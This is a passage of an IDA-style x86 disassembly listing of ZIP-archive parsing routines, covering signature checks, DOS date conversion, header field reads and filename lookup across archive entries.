loc_42EDB4 mov [ebp+var_8], 0FFFFFFFFh loc_42EDB4: ; CODE XREF: sub_42ED22+89j lea ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42E99E add esp, 8 test eax, eax jz short loc_42EDCF mov [ebp+var_8], 0FFFFFFFFh loc_42EDCF: ; CODE XREF: sub_42ED22+A4j lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42EDEA mov [ebp+var_8], 0FFFFFFFFh loc_42EDEA: ; CODE XREF: sub_42ED22+BFj lea edx, [ebp+var_98] push edx mov eax, [ebp+arg_0] push eax call sub_42E99E add esp, 8 test eax, eax jz short loc_42EE08 mov [ebp+var_8], 0FFFFFFFFh loc_42EE08: ; CODE XREF: sub_42ED22+DDj lea ecx, [ebp+var_1C] push ecx mov edx, [ebp+arg_0] push edx call sub_42E99E add esp, 8 test eax, eax jz short loc_42EE23 mov [ebp+var_8], 0FFFFFFFFh loc_42EE23: ; CODE XREF: sub_42ED22+F8j mov eax, [ebp+var_1C] cmp eax, [ebp+var_98] jnz short loc_42EE3A cmp [ebp+var_18], 0 jnz short loc_42EE3A cmp [ebp+var_4], 0 jz short loc_42EE41 loc_42EE3A: ; CODE XREF: sub_42ED22+10Aj ; sub_42ED22+110j mov [ebp+var_8], 0FFFFFF99h loc_42EE41: ; CODE XREF: sub_42ED22+116j lea ecx, [ebp+var_7C] push ecx mov edx, [ebp+arg_0] push edx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42EE5C mov [ebp+var_8], 0FFFFFFFFh loc_42EE5C: ; CODE XREF: sub_42ED22+131j lea eax, [ebp+var_78] push eax mov ecx, [ebp+arg_0] push ecx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42EE77 mov [ebp+var_8], 0FFFFFFFFh loc_42EE77: ; CODE XREF: sub_42ED22+14Cj lea edx, [ebp+var_94] push edx mov eax, [ebp+arg_0] push eax call sub_42E99E add esp, 8 test eax, eax jz short loc_42EE95 mov [ebp+var_8], 0FFFFFFFFh loc_42EE95: ; CODE XREF: sub_42ED22+16Aj mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] add edx, [ecx+0Ch] mov eax, [ebp+var_78] add eax, [ebp+var_7C] cmp edx, eax jnb short loc_42EEB5 cmp [ebp+var_8], 0 jnz short loc_42EEB5 mov [ebp+var_8], 0FFFFFF99h loc_42EEB5: ; CODE XREF: sub_42ED22+184j ; sub_42ED22+18Aj cmp [ebp+var_8], 0 jz short loc_42EECB mov ecx, [ebp+arg_0] push ecx call sub_42E71B add esp, 4 xor eax, eax jmp short loc_42EF32 ; --------------------------------------------------------------------------- loc_42EECB: ; CODE XREF: sub_42ED22+197j mov edx, [ebp+arg_0] mov [ebp+var_9C], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_10] add ecx, [eax+0Ch] mov edx, [ebp+var_78] add edx, [ebp+var_7C] sub ecx, edx mov [ebp+var_90], ecx mov eax, [ebp+var_10] mov [ebp+var_80], eax mov [ebp+var_20], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+0Ch], 0 push 80h call dword_4331C8 ; malloc add esp, 4 mov [ebp+var_C], eax mov ecx, 20h lea esi, [ebp+var_9C] mov edi, [ebp+var_C] rep movsd mov edx, [ebp+var_C] push edx call sub_42F473 add esp, 4 mov eax, [ebp+var_C] loc_42EF32: ; CODE XREF: sub_42ED22+13j ; sub_42ED22+32j ... pop edi pop esi mov esp, ebp pop ebp retn sub_42ED22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EF38 proc near ; CODE XREF: sub_430F58+36p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_42EF49 mov eax, 0FFFFFF9Ah jmp short loc_42EF87 ; --------------------------------------------------------------------------- loc_42EF49: ; CODE XREF: sub_42EF38+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp dword ptr [ecx+7Ch], 0 jz short loc_42EF64 mov edx, [ebp+arg_0] push edx call sub_42FF37 add esp, 4 loc_42EF64: ; CODE XREF: sub_42EF38+1Ej mov eax, [ebp+var_4] mov ecx, [eax] push ecx call sub_42E71B add esp, 4 cmp [ebp+var_4], 0 jz short loc_42EF85 mov edx, [ebp+var_4] push edx call dword_4331D4 ; free add esp, 4 loc_42EF85: ; CODE XREF: sub_42EF38+3Ej xor eax, eax loc_42EF87: ; CODE XREF: sub_42EF38+Fj mov esp, ebp pop ebp retn sub_42EF38 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_42EF9C mov eax, 0FFFFFF9Ah jmp short loc_42EFB5 ; --------------------------------------------------------------------------- loc_42EF9C: ; CODE XREF: TEUm:0042EF93j mov eax, [ebp+8] mov [ebp-4], eax mov ecx, [ebp-4] mov edx, [ecx+4] mov eax, [ecx+8] mov ecx, [ebp+0Ch] mov [ecx], edx mov [ecx+4], eax xor eax, eax loc_42EFB5: ; CODE XREF: TEUm:0042EF9Aj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EFB9 proc near ; CODE XREF: sub_42F032+122p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] shr eax, 10h mov [ebp+var_4], eax mov ecx, [ebp+var_4] and ecx, 1Fh mov edx, [ebp+arg_4] mov [edx+0Ch], ecx mov eax, [ebp+var_4] and eax, 1E0h shr eax, 5 sub eax, 1 mov ecx, [ebp+arg_4] mov [ecx+10h], eax mov edx, [ebp+var_4] and edx, 0FE00h shr edx, 9 add edx, 7BCh mov eax, [ebp+arg_4] mov [eax+14h], edx mov ecx, [ebp+arg_0] and ecx, 0F800h shr ecx, 0Bh mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_0] and eax, 7E0h shr eax, 5 mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edx, [ebp+arg_0] and edx, 1Fh shl edx, 1 mov eax, [ebp+arg_4] mov [eax], edx mov esp, ebp pop ebp retn sub_42EFB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F032 proc near ; CODE XREF: sub_42F444+25p ; sub_42F473+4Dp ... var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = byte ptr -58h var_54 = dword ptr -54h var_50 = byte ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 70h push esi push edi mov [ebp+var_C], 0 mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jnz short loc_42F058 mov eax, 0FFFFFF9Ah jmp loc_42F43E ; --------------------------------------------------------------------------- loc_42F058: ; CODE XREF: sub_42F032+1Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax push 0 mov ecx, [ebp+var_10] mov edx, [ecx+14h] mov eax, [ebp+var_10] add edx, [eax+0Ch] push edx mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_42E7CB add esp, 0Ch test eax, eax jz short loc_42F086 mov [ebp+var_C], 0FFFFFFFFh loc_42F086: ; CODE XREF: sub_42F032+4Bj cmp [ebp+var_C], 0 jnz short loc_42F0BB lea eax, [ebp+var_14] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F0AB mov [ebp+var_C], 0FFFFFFFFh jmp short loc_42F0BB ; --------------------------------------------------------------------------- loc_42F0AB: ; CODE XREF: sub_42F032+6Ej cmp [ebp+var_14], 2014B50h jz short loc_42F0BB mov [ebp+var_C], 0FFFFFF99h loc_42F0BB: ; CODE XREF: sub_42F032+58j ; sub_42F032+77j ... lea eax, [ebp+var_64] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F0D8 mov [ebp+var_C], 0FFFFFFFFh loc_42F0D8: ; CODE XREF: sub_42F032+9Dj lea eax, [ebp+var_60] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F0F5 mov [ebp+var_C], 0FFFFFFFFh loc_42F0F5: ; CODE XREF: sub_42F032+BAj lea eax, [ebp+var_5C] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F112 mov [ebp+var_C], 0FFFFFFFFh loc_42F112: ; CODE XREF: sub_42F032+D7j lea eax, [ebp+var_58] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F12F mov [ebp+var_C], 0FFFFFFFFh loc_42F12F: ; CODE XREF: sub_42F032+F4j lea eax, [ebp+var_54] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F14C mov [ebp+var_C], 0FFFFFFFFh loc_42F14C: ; CODE XREF: sub_42F032+111j lea eax, [ebp+var_2C] push eax mov ecx, [ebp+var_54] push ecx call sub_42EFB9 add esp, 8 lea edx, [ebp+var_50] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F179 mov [ebp+var_C], 0FFFFFFFFh loc_42F179: ; CODE XREF: sub_42F032+13Ej lea edx, [ebp+var_4C] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F196 mov [ebp+var_C], 0FFFFFFFFh loc_42F196: ; CODE XREF: sub_42F032+15Bj lea edx, [ebp+var_48] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F1B3 mov [ebp+var_C], 0FFFFFFFFh loc_42F1B3: ; CODE XREF: sub_42F032+178j lea edx, [ebp+var_44] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F1D0 mov [ebp+var_C], 0FFFFFFFFh loc_42F1D0: ; CODE XREF: sub_42F032+195j lea edx, [ebp+var_40] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F1ED mov [ebp+var_C], 0FFFFFFFFh loc_42F1ED: ; CODE XREF: sub_42F032+1B2j lea edx, [ebp+var_3C] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F20A mov [ebp+var_C], 0FFFFFFFFh loc_42F20A: ; CODE XREF: sub_42F032+1CFj lea edx, [ebp+var_38] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F227 mov [ebp+var_C], 0FFFFFFFFh loc_42F227: ; CODE XREF: sub_42F032+1ECj lea edx, [ebp+var_34] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F244 mov [ebp+var_C], 0FFFFFFFFh loc_42F244: ; CODE XREF: sub_42F032+209j lea edx, [ebp+var_30] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F261 mov [ebp+var_C], 0FFFFFFFFh loc_42F261: ; CODE XREF: sub_42F032+226j lea edx, [ebp+var_8] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F27E mov [ebp+var_C], 0FFFFFFFFh loc_42F27E: ; CODE XREF: sub_42F032+243j mov edx, [ebp+var_4] add edx, [ebp+var_44] mov [ebp+var_4], edx cmp [ebp+var_C], 0 jnz short loc_42F2EB cmp [ebp+arg_C], 0 jz short loc_42F2EB mov eax, [ebp+var_44] cmp eax, [ebp+arg_10] jnb short loc_42F2AC mov ecx, [ebp+arg_C] add ecx, [ebp+var_44] mov byte ptr [ecx], 0 mov edx, [ebp+var_44] mov [ebp+var_68], edx jmp short loc_42F2B2 ; --------------------------------------------------------------------------- loc_42F2AC: ; CODE XREF: sub_42F032+267j mov eax, [ebp+arg_10] mov [ebp+var_68], eax loc_42F2B2: ; CODE XREF: sub_42F032+278j cmp [ebp+var_44], 0 jbe short loc_42F2E2 cmp [ebp+arg_10], 0 jbe short loc_42F2E2 mov ecx, [ebp+var_10] mov edx, [ecx] push edx push 1 mov eax, [ebp+var_68] push eax mov ecx, [ebp+arg_C] push ecx call sub_42E8A0 add esp, 10h cmp eax, 1 jz short loc_42F2E2 mov [ebp+var_C], 0FFFFFFFFh loc_42F2E2: ; CODE XREF: sub_42F032+284j ; sub_42F032+28Aj ... mov edx, [ebp+var_4] sub edx, [ebp+var_68] mov [ebp+var_4], edx loc_42F2EB: ; CODE XREF: sub_42F032+259j ; sub_42F032+25Fj cmp [ebp+var_C], 0 jnz loc_42F383 cmp [ebp+arg_14], 0 jz loc_42F383 mov eax, [ebp+var_40] cmp eax, [ebp+arg_18] jnb short loc_42F30F mov ecx, [ebp+var_40] mov [ebp+var_6C], ecx jmp short loc_42F315 ; --------------------------------------------------------------------------- loc_42F30F: ; CODE XREF: sub_42F032+2D3j mov edx, [ebp+arg_18] mov [ebp+var_6C], edx loc_42F315: ; CODE XREF: sub_42F032+2DBj cmp [ebp+var_4], 0 jz short loc_42F343 push 1 mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_42E7CB add esp, 0Ch test eax, eax jnz short loc_42F33C mov [ebp+var_4], 0 jmp short loc_42F343 ; --------------------------------------------------------------------------- loc_42F33C: ; CODE XREF: sub_42F032+2FFj mov [ebp+var_C], 0FFFFFFFFh loc_42F343: ; CODE XREF: sub_42F032+2E7j ; sub_42F032+308j cmp [ebp+var_40], 0 jbe short loc_42F373 cmp [ebp+arg_18], 0 jbe short loc_42F373 mov eax, [ebp+var_10] mov ecx, [eax] push ecx push 1 mov edx, [ebp+var_6C] push edx mov eax, [ebp+arg_14] push eax call sub_42E8A0 add esp, 10h cmp eax, 1 jz short loc_42F373 mov [ebp+var_C], 0FFFFFFFFh loc_42F373: ; CODE XREF: sub_42F032+315j ; sub_42F032+31Bj ... mov ecx, [ebp+var_40] sub ecx, [ebp+var_6C] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx jmp short loc_42F38C ; --------------------------------------------------------------------------- loc_42F383: ; CODE XREF: sub_42F032+2BDj ; sub_42F032+2C7j mov eax, [ebp+var_4] add eax, [ebp+var_40] mov [ebp+var_4], eax loc_42F38C: ; CODE XREF: sub_42F032+34Fj cmp [ebp+var_C], 0 jnz short loc_42F40E cmp [ebp+arg_1C], 0 jz short loc_42F40E mov ecx, [ebp+var_3C] cmp ecx, [ebp+arg_20] jnb short loc_42F3B1 mov edx, [ebp+arg_1C] add edx, [ebp+var_3C] mov byte ptr [edx], 0 mov eax, [ebp+var_3C] mov [ebp+var_70], eax jmp short loc_42F3B7 ; --------------------------------------------------------------------------- loc_42F3B1: ; CODE XREF: sub_42F032+36Cj mov ecx, [ebp+arg_20] mov [ebp+var_70], ecx loc_42F3B7: ; CODE XREF: sub_42F032+37Dj cmp [ebp+var_4], 0 jz short loc_42F3DE push 1 mov edx, [ebp+var_4] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_42E7CB add esp, 0Ch test eax, eax jnz short loc_42F3D7 jmp short loc_42F3DE ; --------------------------------------------------------------------------- loc_42F3D7: ; CODE XREF: sub_42F032+3A1j mov [ebp+var_C], 0FFFFFFFFh loc_42F3DE: ; CODE XREF: sub_42F032+389j ; sub_42F032+3A3j cmp [ebp+var_3C], 0 jbe short loc_42F40E cmp [ebp+arg_20], 0 jbe short loc_42F40E mov edx, [ebp+var_10] mov eax, [edx] push eax push 1 mov ecx, [ebp+var_70] push ecx mov edx, [ebp+arg_1C] push edx call sub_42E8A0 add esp, 10h cmp eax, 1 jz short loc_42F40E mov [ebp+var_C], 0FFFFFFFFh loc_42F40E: ; CODE XREF: sub_42F032+35Ej ; sub_42F032+364j ... cmp [ebp+var_C], 0 jnz short loc_42F427 cmp [ebp+arg_4], 0 jz short loc_42F427 mov ecx, 14h lea esi, [ebp+var_64] mov edi, [ebp+arg_4] rep movsd loc_42F427: ; CODE XREF: sub_42F032+3E0j ; sub_42F032+3E6j cmp [ebp+var_C], 0 jnz short loc_42F43B cmp [ebp+arg_8], 0 jz short loc_42F43B mov eax, [ebp+arg_8] mov ecx, [ebp+var_8] mov [eax], ecx loc_42F43B: ; CODE XREF: sub_42F032+3F9j ; sub_42F032+3FFj mov eax, [ebp+var_C] loc_42F43E: ; CODE XREF: sub_42F032+21j pop edi pop esi mov esp, ebp pop ebp retn sub_42F032 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F444 proc near ; CODE XREF: sub_42F59A+BBp ; sub_4301DC+194p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42F032 add esp, 24h pop ebp retn sub_42F444 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F473 proc near ; CODE XREF: sub_42ED22+205p ; sub_42F59A+8Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_42F486 mov eax, 0FFFFFF9Ah jmp short loc_42F4DD ; --------------------------------------------------------------------------- loc_42F486: ; CODE XREF: sub_42F473+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+24h] mov [ecx+14h], eax mov ecx, [ebp+var_8] mov dword ptr [ecx+10h], 0 push 0 push 0 push 0 push 0 push 0 push 0 mov edx, [ebp+var_8] add edx, 78h push edx mov eax, [ebp+var_8] add eax, 28h push eax mov ecx, [ebp+arg_0] push ecx call sub_42F032 add esp, 24h mov [ebp+var_4], eax xor edx, edx cmp [ebp+var_4], 0 setz dl mov eax, [ebp+var_8] mov [eax+18h], edx mov eax, [ebp+var_4] loc_42F4DD: ; CODE XREF: sub_42F473+11j mov esp, ebp pop ebp retn sub_42F473 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F4E1 proc near ; CODE XREF: sub_42F59A+E9p ; sub_4301DC+169p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_42F4F7 mov eax, 0FFFFFF9Ah jmp loc_42F596 ; --------------------------------------------------------------------------- loc_42F4F7: ; CODE XREF: sub_42F4E1+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+18h], 0 jnz short loc_42F510 mov eax, 0FFFFFF9Ch jmp loc_42F596 ; --------------------------------------------------------------------------- loc_42F510: ; CODE XREF: sub_42F4E1+23j mov edx, [ebp+var_8] mov eax, [edx+10h] add eax, 1 mov ecx, [ebp+var_8] cmp eax, [ecx+4] jnz short loc_42F528 mov eax, 0FFFFFF9Ch jmp short loc_42F596 ; --------------------------------------------------------------------------- loc_42F528: ; CODE XREF: sub_42F4E1+3Ej mov edx, [ebp+var_8] mov eax, [edx+48h] mov ecx, [ebp+var_8] mov edx, [ecx+4Ch] lea eax, [eax+edx+2Eh] mov ecx, [ebp+var_8] add eax, [ecx+50h] mov edx, [ebp+var_8] mov ecx, [edx+14h] add ecx, eax mov edx, [ebp+var_8] mov [edx+14h], ecx mov eax, [ebp+var_8] mov ecx, [eax+10h] add ecx, 1 mov edx, [ebp+var_8] mov [edx+10h], ecx push 0 push 0 push 0 push 0 push 0 push 0 mov eax, [ebp+var_8] add eax, 78h push eax mov ecx, [ebp+var_8] add ecx, 28h push ecx mov edx, [ebp+arg_0] push edx call sub_42F032 add esp, 24h mov [ebp+var_4], eax xor eax, eax cmp [ebp+var_4], 0 setz al mov ecx, [ebp+var_8] mov [ecx+18h], eax mov eax, [ebp+var_4] loc_42F596: ; CODE XREF: sub_42F4E1+11j ; sub_42F4E1+2Aj ... mov esp, ebp pop ebp retn sub_42F4E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F59A proc near ; CODE XREF: sub_430867+25p var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 218h cmp [ebp+arg_0], 0 jnz short loc_42F5B3 mov eax, 0FFFFFF9Ah jmp loc_42F6B7 ; --------------------------------------------------------------------------- loc_42F5B3: ; CODE XREF: sub_42F59A+Dj mov eax, [ebp+arg_4] push eax call sub_4318BE ; strlen add esp, 4 cmp eax, 100h jb short loc_42F5D0 mov eax, 0FFFFFF9Ah jmp loc_42F6B7 ; --------------------------------------------------------------------------- loc_42F5D0: ; CODE XREF: sub_42F59A+2Aj mov ecx, [ebp+arg_4] push ecx lea edx, [ebp+var_104] push edx call sub_4318B8 ; strcpy add esp, 8 mov eax, [ebp+arg_0] mov [ebp+var_10C], eax mov ecx, [ebp+var_10C] cmp dword ptr [ecx+18h], 0 jnz short loc_42F602 mov eax, 0FFFFFF9Ch jmp loc_42F6B7 ; --------------------------------------------------------------------------- loc_42F602: ; CODE XREF: sub_42F59A+5Cj mov edx, [ebp+var_10C] mov eax, [edx+10h] mov [ebp+var_110], eax mov ecx, [ebp+var_10C] mov edx, [ecx+14h] mov [ebp+var_114], edx mov eax, [ebp+arg_0] push eax call sub_42F473 add esp, 4 mov [ebp+var_108], eax loc_42F632: ; CODE XREF: sub_42F59A+F7j cmp [ebp+var_108], 0 jnz short loc_42F693 push 0 push 0 push 0 push 0 push 100h lea ecx, [ebp+var_218] push ecx push 0 mov edx, [ebp+arg_0] push edx call sub_42F444 add esp, 20h mov eax, [ebp+arg_8] push eax lea ecx, [ebp+var_104] push ecx lea edx, [ebp+var_218] push edx call sub_42EB64 add esp, 0Ch test eax, eax jnz short loc_42F67F xor eax, eax jmp short loc_42F6B7 ; --------------------------------------------------------------------------- loc_42F67F: ; CODE XREF: sub_42F59A+DFj mov eax, [ebp+arg_0] push eax call sub_42F4E1 add esp, 4 mov [ebp+var_108], eax jmp short loc_42F632 ; --------------------------------------------------------------------------- loc_42F693: ; CODE XREF: sub_42F59A+9Fj mov ecx, [ebp+var_10C] mov edx, [ebp+var_110] mov [ecx+10h], edx mov eax, [ebp+var_10C] mov ecx, [ebp+var_114] mov [eax+14h], ecx mov eax, [ebp+var_108] loc_42F6B7: ; CODE XREF: sub_42F59A+14j ; sub_42F59A+31j ... mov esp, ebp pop ebp retn sub_42F59A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F6BB proc near ; CODE XREF: sub_42F940+54p ; sub_4301DC+1B4p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h mov [ebp+var_4], 0 mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0 mov edx, [ebp+arg_C] mov dword ptr [edx], 0 push 0 mov eax, [ebp+arg_0] mov ecx, [eax+78h] mov edx, [ebp+arg_0] add ecx, [edx+0Ch] push ecx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_42E7CB add esp, 0Ch test eax, eax jz short loc_42F70C or eax, 0FFFFFFFFh jmp loc_42F93C ; --------------------------------------------------------------------------- loc_42F70C: ; CODE XREF: sub_42F6BB+47j cmp [ebp+var_4], 0 jnz short loc_42F741 lea edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F731 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42F741 ; --------------------------------------------------------------------------- loc_42F731: ; CODE XREF: sub_42F6BB+6Bj cmp [ebp+var_10], 4034B50h jz short loc_42F741 mov [ebp+var_4], 0FFFFFF99h loc_42F741: ; CODE XREF: sub_42F6BB+55j ; sub_42F6BB+74j ... lea edx, [ebp+var_18] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F75E mov [ebp+var_4], 0FFFFFFFFh loc_42F75E: ; CODE XREF: sub_42F6BB+9Aj lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F77B mov [ebp+var_4], 0FFFFFFFFh loc_42F77B: ; CODE XREF: sub_42F6BB+B7j lea edx, [ebp+var_18] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F79A mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42F7B2 ; --------------------------------------------------------------------------- loc_42F79A: ; CODE XREF: sub_42F6BB+D4j cmp [ebp+var_4], 0 jnz short loc_42F7B2 mov edx, [ebp+arg_0] mov eax, [ebp+var_18] cmp eax, [edx+34h] jz short loc_42F7B2 mov [ebp+var_4], 0FFFFFF99h loc_42F7B2: ; CODE XREF: sub_42F6BB+DDj ; sub_42F6BB+E3j ... cmp [ebp+var_4], 0 jnz short loc_42F7D1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+34h], 0 jz short loc_42F7D1 mov edx, [ebp+arg_0] cmp dword ptr [edx+34h], 8 jz short loc_42F7D1 mov [ebp+var_4], 0FFFFFF99h loc_42F7D1: ; CODE XREF: sub_42F6BB+FBj ; sub_42F6BB+104j ... lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F7EE mov [ebp+var_4], 0FFFFFFFFh loc_42F7EE: ; CODE XREF: sub_42F6BB+12Aj lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F80D mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42F82F ; --------------------------------------------------------------------------- loc_42F80D: ; CODE XREF: sub_42F6BB+147j cmp [ebp+var_4], 0 jnz short loc_42F82F mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] cmp ecx, [eax+3Ch] jz short loc_42F82F mov edx, [ebp+var_14] and edx, 8 test edx, edx jnz short loc_42F82F mov [ebp+var_4], 0FFFFFF99h loc_42F82F: ; CODE XREF: sub_42F6BB+150j ; sub_42F6BB+156j ... lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F84E mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42F870 ; --------------------------------------------------------------------------- loc_42F84E: ; CODE XREF: sub_42F6BB+188j cmp [ebp+var_4], 0 jnz short loc_42F870 mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] cmp ecx, [eax+40h] jz short loc_42F870 mov edx, [ebp+var_14] and edx, 8 test edx, edx jnz short loc_42F870 mov [ebp+var_4], 0FFFFFF99h loc_42F870: ; CODE XREF: sub_42F6BB+191j ; sub_42F6BB+197j ... lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_42EA04 add esp, 8 test eax, eax jz short loc_42F88F mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42F8B1 ; --------------------------------------------------------------------------- loc_42F88F: ; CODE XREF: sub_42F6BB+1C9j cmp [ebp+var_4], 0 jnz short loc_42F8B1 mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] cmp ecx, [eax+44h] jz short loc_42F8B1 mov edx, [ebp+var_14] and edx, 8 test edx, edx jnz short loc_42F8B1 mov [ebp+var_4], 0FFFFFF99h loc_42F8B1: ; CODE XREF: sub_42F6BB+1D2j ; sub_42F6BB+1D8j ... lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F8D0 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42F8E8 ; --------------------------------------------------------------------------- 